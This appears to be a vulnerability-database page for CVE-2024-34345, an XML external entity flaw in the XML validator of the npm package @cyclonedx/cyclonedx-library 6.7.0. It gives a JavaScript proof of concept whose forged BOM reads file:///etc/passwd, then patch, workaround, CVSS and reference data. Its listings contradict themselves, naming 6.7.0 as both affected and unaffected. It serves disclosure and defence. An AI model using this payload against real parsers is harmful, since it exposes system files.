Ecosyste.ms: Advisories
An open API service providing security vulnerability metadata for many open source software ecosystems.
Security Advisories: GSA_kwCzR0hTQS0zOGdmLXJoMnctZ21qN84AA74H
@cyclonedx/cyclonedx-library Improper Restriction of XML External Entity Reference vulnerability
Impact
XML External entity injections could be possible, when running the provided XML Validator on arbitrary input.
POC
const {
Spec: { Version },
Validation: { XmlValidator }
} = require('@cyclonedx/cyclonedx-library');
const version = Version.v1dot5;
const validator = new XmlValidator(version);
const input = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE poc [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<bom xmlns="http://cyclonedx.org/schema/bom/1.5">
<components>
<component type="library">
<name>testing</name>
<version>1.337</version>
<licenses>
<license>
<id>&xxe;</id><!-- << XML external entity (XXE) injection -->
</license>
</licenses>
</component>
</components>
</bom>`;
// validating this forged(^) input might lead to unintended behaviour
// for the fact that the XML external entity would be taken into account.
validator.validate(input).then(ve => {
console.error('validation error', ve);
});
Patches
This issue was fixed in @cyclonedx/[email protected]
.
Workarounds
Do not run the provided XML validator on untrusted inputs.
References
- issue was introduced via https://github.com/CycloneDX/cyclonedx-javascript-library/pull/1063.
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zOGdmLXJoMnctZ21qN84AA74H
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: 7 months ago
Updated: 7 months ago
CVSS Score: 8.1
CVSS vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Identifiers: GHSA-38gf-rh2w-gmj7, CVE-2024-34345
References:
- https://github.com/CycloneDX/cyclonedx-javascript-library/security/advisories/GHSA-38gf-rh2w-gmj7
- https://github.com/CycloneDX/cyclonedx-javascript-library/pull/1063
- https://github.com/CycloneDX/cyclonedx-javascript-library/commit/5e5e1e0b9422f47d2de81c7c4064b803a01e7203
- https://nvd.nist.gov/vuln/detail/CVE-2024-34345
- https://github.com/advisories/GHSA-38gf-rh2w-gmj7
Blast Radius: 7.7
Affected Packages
npm:@cyclonedx/cyclonedx-library
Dependent packages: 8Dependent repositories: 9
Downloads: 414,875 last month
Affected Version Ranges: = 6.7.0
Fixed in: 6.7.1
All affected versions:
All unaffected versions: 1.0.0, 1.0.1, 1.0.2, 1.0.3, 1.1.0, 1.2.0, 1.3.0, 1.3.1, 1.3.2, 1.3.3, 1.3.4, 1.4.0, 1.4.1, 1.4.2, 1.5.0, 1.5.1, 1.6.0, 1.7.0, 1.8.0, 1.9.0, 1.9.1, 1.9.2, 1.10.0, 1.11.0, 1.12.0, 1.12.1, 1.12.2, 1.13.0, 1.13.1, 1.13.2, 1.13.3, 1.14.0, 2.0.0, 2.1.0, 3.0.0, 4.0.0, 5.0.0, 6.0.0, 6.1.0, 6.1.1, 6.1.2, 6.1.3, 6.2.0, 6.3.0, 6.3.1, 6.3.2, 6.4.0, 6.4.1, 6.4.2, 6.5.0, 6.5.1, 6.6.0, 6.6.1, 6.7.0, 6.7.1, 6.7.2, 6.8.0, 6.8.1, 6.8.2, 6.9.0, 6.9.5, 6.10.0, 6.10.1, 6.11.0, 6.11.1, 6.12.0, 6.13.0